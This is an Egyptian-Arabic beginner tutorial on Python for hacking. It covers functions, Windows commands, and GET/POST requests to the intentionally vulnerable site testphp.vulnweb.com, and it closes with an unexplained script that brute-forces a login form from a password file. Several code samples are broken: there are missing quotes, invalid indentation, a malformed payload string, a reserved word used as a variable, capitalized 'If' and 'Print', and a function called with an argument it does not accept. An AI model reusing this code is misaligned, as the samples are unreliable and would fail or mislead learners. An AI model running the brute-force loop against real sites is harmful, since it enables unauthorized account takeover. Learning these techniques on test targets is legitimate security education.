Python For Hacking

Create Function with Params

- احنا اتعلمنا ازاي نعمل فانكشن قبل كدا بس معرفناش نعمل فانكشن ب parameter
- ال parameter هو عباره عن متغير بيكون مع الداله بستخدمو فيها بعد لما اجي انادي عالفانكشن

```
def hi(name):
    print(f"hello{name}")
```

- هنا انا عملت فانكشن عاديه بس ب param اسمه name واستخدمته جوا الفانكشن
- طب لما اجي استدعي الفانكشن ايه اللي هيحصل وهستدعيها ازاي؟

```
hi(mohamed)
output => hello mohamed
```

Execute Windows Commands with Python

- زي ما اتعلمنا ازاي نعمل اوامر اللينكس بالبايثون نفس الكلام ف الويندوز مفيش اي اختلاف
- الاختلاف بس هيكون ف الاوامر نفسها عشان اوامر الويندوز مختلفه شويه عن اللينكس
- يعني مثلا امر ls ف الويندوز اسمه dir وهكذا بقيت الاوامر بس خلي بالك احنا بنعتمد علي اوامر الpowershell

Make Web Request with Python

GET Request

- ماتيجي نعمل GET Request لأي موقع
  GET: دي طريقة طلب لما بكون عايز بيانات من السيرفر يعني لو بفتح صفحة ويب او بفتح حاجه معينه فالصفحه
  POST: ببعت بيانات للسيرفر زي مثلا برفع صوره او بسجل دخول للاكونت او بكتب كومنت
- فا انا هنا هبعت طلب GET يعني هطلب صفحة الويب بس بالبايثون

```
import requests

url="http://testphp.vulnweb.com"

response = requests.get(url)
print(response.text)
print(response.status_code)
```

- اول حاجه هنا لازم استدعي مكتبة ال requests المسؤوله عن ارسال الريكويستات للمواقع
- وبعد كدا اديلو لينك الموقع ف متغير ب اي اسم انا هنا سميتو url
- الامر `requests.get(url)` هنا انا بقولو اعملي طلب get للينك ده
- الامر `print(response.text)` بقولو اطبعلي الاستجابه بتاعت الموقع اللي هوا كود ال HTML بتاع الصفحه يعني
- الامر `print(response.status_code)` بقولو اطبعلي الكود بتاع حالة الموقع
- طبعا في صفحات الويب بيكون في اكواد معبره يعني لو طلعلي 200 يعني الصفحه تمام وحملت بشكل طبيعي لو 404 يبقي الصفحه دي مش موجوده وهكذا

POST Request

- تعالي بقي نعمل post request للموقع المرادي

```
import requests

url = "http://testphp.vulnweb.com/login.php"
payload = "uname=test&password=test"

response = requests.post(url, data=payload)
print(response.text)
print(response.status_code)
```

- زي ال get برضو هنحط ال url بس خلي بالك انا هنا حطيتلو صفحة تسجيل الدخول وبعد كدا بديلو ال payload
- ال payload هنا بقولو الحاجه اللي هبعتها للسيرفر مش ده طلب post يبني يعني بتبعت مش بتتطلب
- الامر ده `response = requests.post(url, data=payload)` بقولو اعملي طلب post لل url ده ومعاها ال payload ده اللي هيا الحاجه اللي هبعتها
- الusername وال password دول مش ثابتين دول بيبقو علي حسب الموقع معمول ازاي في مواقع ممكن تغير اسمهم عادي علي حسب كل موقع بس احنا هنا بنجرب يعني

Brute Force with Python

- احنا ممكن نعمل brute force بالبايثون
- هديك الكود بس مش هشرحو لأنو مش عليك لحد ما نوصل للويب بس عشان تفهمو

```
import requests
url="https://example.com/login"

def attack():
payload= f"username=admin&password{pass}"
response = requests.post(url,data=payload)

if response.ok:
    If "Login successfull" in response.text:
        Print(f"found valid credentials {pass}")
        return True
else:
    print("didn't find any credentials ")

with open("password.txt", "r") as f:
 lines = f.readlines()
for line.strip() in lines:
    attack(line)
```